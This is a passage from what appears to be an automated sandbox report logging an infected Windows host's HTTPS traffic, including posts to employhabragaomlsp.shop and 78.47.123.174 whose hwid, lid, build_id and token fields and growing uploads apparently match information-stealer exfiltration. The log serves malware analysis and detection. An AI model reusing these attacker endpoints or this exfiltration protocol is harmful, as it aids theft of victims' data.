64 79 45 71 4e 6d 7a 79 50 55 45 33 6b 4b 6b 52 56 6e 59 51 45 41 6f 74 6b 59 75 66 79 50 67 71 70 66 73 44 73 6f Data Ascii: xOuohcml1Weg7C0S73jQhU2ETeC6659OPrCi9skyxhj819G8sOTl1+S0AVfa6VDkTAn5kS9GKlYykbOvzTPLpWlayZjJrbTi/CixuuZVIKBcOdHdN0I+FhbAojZsT8ulaJJoKQWsydr91Qx/wuFo/EQN/b1TQhp+Jp2/u4geuijk+/GkjKzt6/iABH7XeNFVdDmAhHpPMtqu3fu+yL6uXOzr+dyEqNmzyPUE3kKkRVnYQEAotkYufyPgqpfsDso
2024-05-24 07:43:15 UTC	1369	IN	Data Raw: 4d 57 52 44 58 68 47 2f 4b 52 41 66 6f 2f 51 50 62 45 5a 63 4b 7a 59 57 67 2b 54 34 6c 2b 34 41 6a 75 6c 6b 31 2b 70 78 4b 37 49 35 61 48 6c 37 45 70 52 47 51 55 32 37 37 68 31 2b 57 67 64 31 59 45 58 66 6a 34 47 61 70 6d 76 7a 38 30 75 43 76 78 41 77 2b 57 30 6e 4a 44 35 45 77 51 77 4d 56 50 65 37 55 44 55 6a 4e 32 31 69 53 4e 2b 4c 68 5a 6e 67 4a 6f 32 62 5a 2f 79 4f 63 57 57 77 57 47 70 6a 64 55 57 78 52 57 6f 30 75 36 34 66 5a 6c 39 4a 54 57 4a 49 33 34 75 46 6d 65 31 4a 36 50 73 41 73 59 34 36 66 62 77 4a 51 55 42 31 66 4c 39 31 51 77 2b 31 33 6a 52 56 58 51 31 70 49 52 36 54 33 4d 48 54 39 54 75 79 6f 46 37 55 36 69 35 7a 6d 67 6f 7a 51 31 34 52 76 7a 74 42 42 37 6e 6b 45 56 5a 32 59 6a 68 7a 42 6f 6e 4f 30 38 2b 6a 65 76 66 32 44 36 71 43 64 67 50 Data Ascii: MWRDXhG/KRAfo/QPbEZcKzYWg+T4l+4Ajulk1+pxK7I5aHl7EpRGQU277h1+Wgd1YEXfj4Gapmvz80uCvxAw+W0nJD5EwQwMVPe7UDUjN21iSN+LhZngJo2bZ/yOcWWwWGpjdUWxRWo0u64fZl9JTWJI34uFme1J6PsAsY46fbwJQUB1fL91Qw+13jRVXQ1pIR6T3MHT9TuyoF7U6i5zmgozQ14RvztBB7nkEVZ2YjhzBonO08+jevf2D6qCdgP

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49968	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:15 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: employhabragaomlsp.shop
2024-05-24 07:43:15 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-05-24 07:43:15 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4np1j43ssfge4ig6ddhohlfb08; expires=Tue, 17-Sep-2024 01:29:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XKLTrPbcuoegtVW3G6NiI4DyIPGPQ5y%2FtmNZ3WiB%2FJ6sfdnPwOIHNy4gEIRmy%2FmxYouNQk5jQftUlSSqtQUisWRE%2Bko7CIeKyUstAnRsBnx8%2BBtbFGiSPgSQ7R673BMlByY7ahcdCkQ6rg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba758690143be-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:15 UTC	553	IN	Data Raw: 34 66 65 0d 0a 48 30 32 74 59 56 37 4d 4e 62 76 65 66 31 57 41 55 68 38 50 46 47 77 74 66 4d 69 43 30 6c 62 6a 67 55 7a 74 37 39 49 6f 71 51 74 6b 52 36 52 44 4b 4f 34 50 6d 2b 70 54 58 34 6c 77 62 47 6f 32 56 67 30 49 75 76 65 33 65 75 6d 49 62 6f 79 4c 38 42 4b 4a 62 58 34 68 33 67 52 79 78 6a 79 5a 73 77 64 33 75 6e 4a 45 42 52 30 58 4a 33 58 42 6f 4c 63 34 77 62 74 73 7a 35 69 33 53 73 78 7a 61 79 6a 44 45 6a 65 6a 57 2f 75 7a 47 69 48 68 50 33 35 38 66 30 4a 45 45 2b 71 75 32 46 2f 71 6f 79 6d 58 7a 65 67 49 69 30 5a 36 4f 63 77 73 50 37 39 65 6d 66 4a 31 58 49 6c 77 65 6e 73 32 56 67 31 65 6c 4b 43 69 4e 35 48 67 49 5a 36 7a 38 42 4c 53 56 7a 30 6b 32 51 51 73 72 55 48 53 73 52 45 6d 33 48 41 6c 4f 53 52 63 48 55 7a 34 2f 2f 42 63 36 76 78 47 35 4c Data Ascii: 4feH02tYV7MNbvef1WAUh8PFGwtfMiC0lbjgUzt79IoqQtkR6RDKO4Pm+pTX4lwbGo2Vg0Iuve3eumIboyL8BKJbX4h3gRyxjyZswd3unJEBR0XJ3XBoLc4wbtsz5i3SsxzayjDEjejW/uzGiHhP358f0JEE+qu2F/qoymXzegIi0Z6OcwsP79emfJ1XIlwens2Vg1elKCiN5HgIZ6z8BLSVz0k2QQsrUHSsREm3HAlOSRcHUz4//Bc6vxG5L
2024-05-24 07:43:15 UTC	732	IN	Data Raw: 35 64 73 68 69 32 35 78 62 35 64 42 66 4b 68 5a 32 4c 45 64 4a 65 6f 37 64 6d 68 6b 42 55 59 54 70 2b 43 39 50 6f 37 67 4c 6f 69 48 75 6b 58 42 62 58 41 69 79 51 4d 38 37 68 6d 78 31 33 5a 33 35 53 67 39 4e 54 52 4f 62 42 75 36 35 37 77 69 77 39 6c 75 35 2b 61 76 42 4b 41 72 50 30 65 6b 47 6c 54 46 50 4a 6d 37 45 58 65 36 63 6a 31 6c 63 77 31 4d 46 61 58 6a 75 44 2b 54 34 7a 79 4a 67 4c 56 59 7a 57 78 7a 4a 63 77 52 4e 71 42 52 32 72 55 57 50 75 63 33 65 53 30 34 5a 69 52 31 36 75 65 6f 64 4e 6d 68 62 71 36 41 75 30 62 42 66 6e 31 76 70 32 67 6a 34 44 2b 79 70 58 56 63 69 58 42 36 59 54 5a 57 44 56 36 75 34 62 51 31 68 65 30 67 69 34 47 32 52 4d 5a 6d 65 79 58 50 42 44 61 6d 58 39 69 78 46 6a 6a 69 4e 58 42 70 63 41 4a 4f 47 2b 71 75 32 46 2f 71 6f 79 6d Data Ascii: 5dshi25xb5dBfKhZ2LEdJeo7dmhkBUYTp+C9Po7gLoiHukXBbXAiyQM87hmx13Z35Sg9NTRObBu657wiw9lu5+avBKArP0ekGlTFPJm7EXe6cj1lcw1MFaXjuD+T4zyJgLVYzWxzJcwRNqBR2rUWPuc3eS04ZiR16ueodNmhbq6Au0bBfn1vp2gj4D+ypXVciXB6YTZWDV6u4bQ1he0gi4G2RMZmeyXPBDamX9ixFjjiNXBpcAJOG+qu2F/qoym
2024-05-24 07:43:15 UTC	1369	IN	Data Raw: 33 38 62 36 0d 0a 74 6c 63 44 6e 49 51 31 54 46 53 4a 66 55 64 69 36 4b 57 78 59 74 63 51 49 50 52 75 69 67 74 6a 69 45 37 43 43 50 67 37 46 48 7a 57 31 77 4c 39 30 46 4c 71 6c 57 32 72 38 62 4d 75 59 77 66 47 68 7a 43 6b 63 61 70 75 2f 77 65 75 6d 49 52 63 2b 4b 71 41 71 54 4b 7a 30 41 32 41 30 71 70 55 50 65 72 41 77 4e 6f 41 56 2b 59 33 67 4a 57 56 37 43 69 36 39 36 36 59 67 33 35 2b 62 62 43 73 78 6c 50 58 65 4e 51 7a 57 38 52 64 32 36 46 6a 7a 77 49 6e 64 70 64 77 39 49 45 61 76 72 74 54 69 4c 36 43 71 64 68 62 6c 4a 32 57 31 39 4a 4d 55 46 66 4f 41 2f 73 74 64 64 4d 50 70 77 4a 53 38 32 4b 6b 49 4f 70 75 75 6d 4d 35 48 57 4c 59 47 44 74 31 79 4c 41 52 59 77 67 57 74 58 74 7a 2b 79 31 31 30 77 37 6e 41 6c 4c 7a 59 42 51 42 47 69 34 4c 45 77 6a 4f 63 Data Ascii: 38b6tlcDnIQ1TFSJfUdi6KWxYtcQIPRuigtjiE7CCPg7FHzW1wL90FLqlW2r8bMuYwfGhzCkcapu/weumIRc+KqAqTKz0A2A0qpUPerAwNoAV+Y3gJWV7Ci6966Yg35+bbCsxlPXeNQzW8Rd26FjzwIndpdw9IEavrtTiL6CqdhblJ2W19JMUFfOA/stddMPpwJS82KkIOpuumM5HWLYGDt1yLARYwgWtXtz+y110w7nAlLzYBQBGi4LEwjOc
2024-05-24 07:43:15 UTC	1369	IN	Data Raw: 77 72 4d 63 54 31 33 6a 55 4d 4d 6f 31 76 53 73 46 38 43 34 54 35 7a 61 6d 42 4f 4a 33 57 31 72 74 68 66 6d 49 74 46 35 4d 32 33 52 6f 73 78 50 32 2f 41 41 6a 47 6b 58 4e 65 77 48 44 66 6d 4d 33 64 74 65 51 74 4a 46 71 50 67 6f 6a 4f 4f 34 69 2b 45 68 72 31 45 7a 6d 68 34 4b 49 39 4e 56 4d 55 38 6d 62 73 46 64 37 70 79 50 55 42 66 4e 41 39 32 77 66 2f 2b 58 4f 72 36 52 75 54 6d 38 45 33 48 4b 53 56 74 6a 77 63 32 72 6c 72 54 74 78 49 30 35 54 35 39 59 48 77 63 52 78 36 71 37 72 59 31 6a 65 59 76 67 34 36 69 52 73 31 6b 65 79 66 64 51 33 4c 47 50 4c 4c 38 47 69 2b 69 61 44 38 74 56 67 56 44 48 61 62 68 74 33 61 67 36 53 32 45 67 66 4a 2f 79 47 64 7a 4b 4e 6c 44 56 4d 56 49 6c 39 52 32 4c 6f 70 62 46 69 31 78 41 67 39 47 36 4b 43 30 4d 49 33 6a 4b 59 47 4a Data Ascii: wrMcT13jUMMo1vSsF8C4T5zamBOJ3W1rthfmItF5M23RosxP2/AAjGkXNewHDfmM3dteQtJFqPgojOO4i+Ehr1Ezmh4KI9NVMU8mbsFd7pyPUBfNA92wf/+XOr6RuTm8E3HKSVtjwc2rlrTtxI05T59YHwcRx6q7rY1jeYvg46iRs1keyfdQ3LGPLL8Gi+iaD8tVgVDHabht3ag6S2EgfJ/yGdzKNlDVMVIl9R2LopbFi1xAg9G6KC0MI3jKYGJ
2024-05-24 07:43:15 UTC	1369	IN	Data Raw: 4a 78 4a 4d 73 50 4e 61 74 52 32 4c 6b 59 4e 75 59 38 64 32 74 31 44 55 41 52 70 65 6a 77 65 75 6d 49 52 63 2b 4b 71 41 71 54 4b 7a 30 4b 32 41 67 79 71 42 65 78 31 77 4a 35 69 6c 74 6b 42 52 31 6c 44 78 6d 6d 6f 4f 68 32 77 65 38 6e 69 59 75 31 52 73 70 76 64 53 72 48 42 7a 32 6f 55 64 71 7a 47 54 4c 6a 50 33 6c 68 65 41 52 4f 48 36 62 72 76 7a 2b 45 6f 32 44 6e 35 74 73 4b 7a 48 45 39 64 34 31 44 44 61 31 42 7a 71 77 52 64 34 70 62 59 69 4d 65 5a 56 5a 32 77 59 76 77 4d 34 32 6a 64 73 33 4e 73 56 6a 42 59 33 4d 71 77 41 59 2f 6f 56 44 55 75 68 45 39 36 7a 68 37 59 6e 38 63 54 42 4b 6b 35 37 34 34 6a 2b 34 6b 6a 49 44 77 42 4b 4d 43 46 6d 2f 49 47 33 7a 32 46 5a 6d 51 47 6a 72 4d 4f 33 46 71 4e 6d 59 6b 41 65 53 49 32 79 33 70 69 45 58 50 69 72 77 4b 6b Data Ascii: JxJMsPNatR2LkYNuY8d2t1DUARpejweumIRc+KqAqTKz0K2AgyqBex1wJ5iltkBR1lDxmmoOh2we8niYu1RspvdSrHBz2oUdqzGTLjP3lheAROH6brvz+Eo2Dn5tsKzHE9d41DDa1BzqwRd4pbYiMeZVZ2wYvwM42jds3NsVjBY3MqwAY/oVDUuhE96zh7Yn8cTBKk5744j+4kjIDwBKMCFm/IG3z2FZmQGjrMO3FqNmYkAeSI2y3piEXPirwKk
2024-05-24 07:43:15 UTC	1369	IN	Data Raw: 45 43 7a 43 72 58 39 79 39 46 54 33 71 50 33 4a 2f 64 77 46 47 47 61 48 74 76 7a 71 45 37 54 79 49 68 72 74 43 77 6d 64 37 62 34 46 72 56 38 55 58 33 71 52 64 62 36 42 77 53 32 35 34 42 56 34 52 71 65 7a 77 58 4f 72 38 59 4f 66 6d 71 53 4b 67 41 6a 30 6f 77 30 4e 6b 37 42 66 56 73 68 30 34 37 6a 78 32 5a 58 63 43 51 52 6d 76 36 62 67 38 6b 2b 49 71 68 34 79 2b 52 63 70 74 65 43 72 4c 42 44 69 6f 57 4a 6e 79 64 56 79 4a 63 48 70 31 4e 6c 59 4e 58 6f 58 6e 70 52 57 37 6f 30 62 6b 6b 76 34 69 6f 48 41 56 52 4b 52 44 4f 36 49 58 67 66 35 64 50 65 6b 30 66 6d 6c 7a 41 55 34 66 72 50 4b 33 50 5a 50 74 49 34 43 46 75 45 50 4b 62 58 67 69 79 51 38 32 72 31 44 58 73 68 56 33 72 46 67 57 42 6a 59 4a 56 31 37 79 6f 76 41 56 6b 66 67 38 6d 59 43 52 52 38 51 70 46 55 Data Ascii: ECzCrX9y9FT3qP3J/dwFGGaHtvzqE7TyIhrtCwmd7b4FrV8UX3qRdb6BwS254BV4RqezwXOr8YOfmqSKgAj0ow0Nk7BfVsh047jx2ZXcCQRmv6bg8k+Iqh4y+RcpteCrLBDioWJnydVyJcHp1NlYNXoXnpRW7o0bkkv4ioHAVRKRDO6IXgf5dPek0fmlzAU4frPK3PZPtI4CFuEPKbXgiyQ82r1DXshV3rFgWBjYJV17yovAVkfg8mYCRR8QpFU
2024-05-24 07:43:15 UTC	1369	IN	Data Raw: 37 42 66 53 74 42 49 6c 35 7a 6c 31 61 58 38 4f 53 78 53 6e 35 37 41 78 6a 4f 59 71 67 59 6d 33 53 73 64 6d 65 69 66 41 42 7a 79 68 46 35 66 55 64 6c 79 69 4e 32 55 74 4c 6b 77 50 50 71 48 32 6b 54 71 4b 38 57 37 6e 35 71 38 45 6f 77 4a 6b 52 36 52 6f 66 4b 6c 62 6d 65 52 66 64 2b 77 35 66 47 56 34 41 6b 63 61 75 4f 43 37 50 59 37 69 49 59 2b 4f 73 55 44 44 65 33 73 76 78 41 73 37 70 6c 50 58 72 68 77 34 6f 6e 34 56 42 68 31 4f 53 41 62 71 75 50 4a 30 73 50 55 70 69 49 4c 79 59 38 78 79 66 43 58 4d 43 44 44 75 50 37 4b 6a 55 31 2b 4a 4b 52 55 47 48 55 35 49 45 75 71 34 38 6e 53 4d 37 79 4f 4c 6e 37 78 4b 79 32 42 36 4a 64 30 4d 4d 36 4e 55 32 62 6b 50 4e 76 41 2f 64 6d 68 31 43 6b 41 52 70 75 69 36 64 4d 2b 4c 52 65 54 4e 74 31 4b 4c 4d 54 39 76 34 77 41 Data Ascii: 7BfStBIl5zl1aX8OSxSn57AxjOYqgYm3SsdmeifABzyhF5fUdlyiN2UtLkwPPqH2kTqK8W7n5q8EowJkR6RofKlbmeRfd+w5fGV4AkcauOC7PY7iIY+OsUDDe3svxAs7plPXrhw4on4VBh1OSAbquPJ0sPUpiILyY8xyfCXMCDDuP7KjU1+JKRUGHU5IEuq48nSM7yOLn7xKy2B6Jd0MM6NU2bkPNvA/dmh1CkARpui6dM+LReTNt1KLMT9v4wA
2024-05-24 07:43:15 UTC	1369	IN	Data Raw: 66 4a 31 58 49 6c 77 65 6e 55 32 56 67 31 65 69 66 65 6d 50 70 71 6a 52 75 53 53 2f 69 4b 67 63 42 56 45 70 45 4d 37 6f 68 65 42 2f 6c 30 36 35 54 35 31 61 33 67 49 58 52 4b 6c 35 72 41 31 69 2b 34 69 68 49 71 2b 51 63 31 73 63 43 2f 4a 42 54 69 71 55 39 65 2f 58 58 6d 4b 57 78 59 74 63 52 59 50 52 75 69 67 6c 78 6d 77 6f 51 32 59 6d 37 70 4e 78 33 39 32 4c 73 77 56 4d 62 34 58 73 64 63 43 65 59 70 62 5a 41 55 64 5a 51 38 5a 70 71 44 6f 64 73 48 6f 49 49 71 4d 76 45 44 4d 5a 32 38 75 78 51 38 39 71 56 44 53 72 68 59 6c 36 54 68 2b 59 33 34 48 54 78 43 71 34 62 30 30 77 61 31 47 35 4f 62 77 54 64 4d 70 4a 57 32 50 4a 68 2b 35 51 64 50 2b 50 69 44 30 4f 6e 70 68 59 41 56 4f 48 62 7a 74 6f 48 54 70 69 44 48 42 35 64 74 54 6f 77 49 57 62 38 67 50 66 50 59 56 Data Ascii: fJ1XIlwenU2Vg1eifemPpqjRuSS/iKgcBVEpEM7oheB/l065T51a3gIXRKl5rA1i+4ihIq+Qc1scC/JBTiqU9e/XXmKWxYtcRYPRuiglxmwoQ2Ym7pNx392LswVMb4XsdcCeYpbZAUdZQ8ZpqDodsHoIIqMvEDMZ28uxQ89qVDSrhYl6Th+Y34HTxCq4b00wa1G5ObwTdMpJW2PJh+5QdP+PiD0OnphYAVOHbztoHTpiDHB5dtTowIWb8gPfPYV
2024-05-24 07:43:15 UTC	1369	IN	Data Raw: 66 6b 63 43 55 76 4a 6b 41 6e 64 63 47 67 74 43 58 42 75 32 7a 66 33 2b 73 66 6d 44 34 74 66 61 64 6f 49 2b 41 2f 73 71 56 31 58 49 6c 77 61 79 30 75 54 42 31 51 77 6f 76 62 64 4a 4f 6a 64 73 33 4e 39 30 54 47 61 48 34 68 7a 42 45 75 71 46 54 50 76 31 6f 4a 33 42 46 77 5a 6e 6f 44 51 42 57 55 33 70 45 35 69 75 38 6a 67 49 61 4f 64 4e 35 71 63 79 48 49 46 53 33 75 47 62 48 58 64 6e 66 74 63 43 55 76 54 30 34 48 58 70 57 75 32 46 2f 71 6f 7a 62 50 31 66 49 4b 2f 6d 70 7a 49 63 67 56 4c 65 4e 32 31 4c 63 52 4f 75 30 37 50 53 4d 65 5a 53 52 65 72 4b 44 6f 64 74 47 74 52 75 54 6d 38 45 37 61 4b 53 56 74 6e 31 46 6e 2b 77 53 4f 37 45 39 66 69 53 38 7a 42 52 30 58 4a 33 58 42 6f 4b 5a 30 32 61 46 38 77 65 58 62 49 59 74 37 50 58 65 4e 51 33 75 74 52 63 75 36 48 Data Ascii: fkcCUvJkAndcGgtCXBu2zf3+sfmD4tfadoI+A/sqV1XIlway0uTB1QwovbdJOjds3N90TGaH4hzBEuqFTPv1oJ3BFwZnoDQBWU3pE5iu8jgIaOdN5qcyHIFS3uGbHXdnftcCUvT04HXpWu2F/qozbP1fIK/mpzIcgVLeN21LcROu07PSMeZSRerKDodtGtRuTm8E7aKSVtn1Fn+wSO7E9fiS8zBR0XJ3XBoKZ02aF8weXbIYt7PXeNQ3utRcu6H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49969	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:15 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKEGHJDHDAFHIDHCFHD User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:15 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 37 63 36 33 30 35 38 36 63 31 61 36 36 36 38 62 30 61 38 38 61 62 64 63 37 62 65 61 62 32 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 Data Ascii: ------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="token"f87c630586c1a6668b0a88abdc7beab2------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------AKKEGHJDHDAFHIDHCFHDCont
2024-05-24 07:43:16 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49970	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:15 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1447 Host: employhabragaomlsp.shop
2024-05-24 07:43:15 UTC	1447	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:15 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i1vmd68k7jr120osqbgn9um8ij; expires=Tue, 17-Sep-2024 01:29:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K3xbOQG06MKAR4tn6q3P%2F9QurWdDpNInRl7TLB71eI3Jp5KlJja8k5udf1lWansAyhgaL0TVnM5os2gljI%2FqLX7kg2vashv4KNG7GCoBUkAXoxihNdR4s377fXLfZRh4w%2F36pfUuPxVxYg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba759ca3317d9-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:15 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49971	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:15 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 13630 Host: employhabragaomlsp.shop
2024-05-24 07:43:15 UTC	13630	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:16 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sp6ndvjvh8b5b6tk3s9f6r6fpf; expires=Tue, 17-Sep-2024 01:29:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EM8iP9wk2FOVOtm%2BZ5ajTH1f57kFssTie5bVjjAAGlBLl5YxVE6Aaby0rrUOjMRSxXSTc0YDHuJT73uckktcimZb3KtMc5y3W3A2xspWyS9NnQpcbeqvRjbAbqSC8DpC18%2BkBXxoCjPf4g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba75a6b4b19b6-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:16 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49974	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:16 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571344 Host: employhabragaomlsp.shop
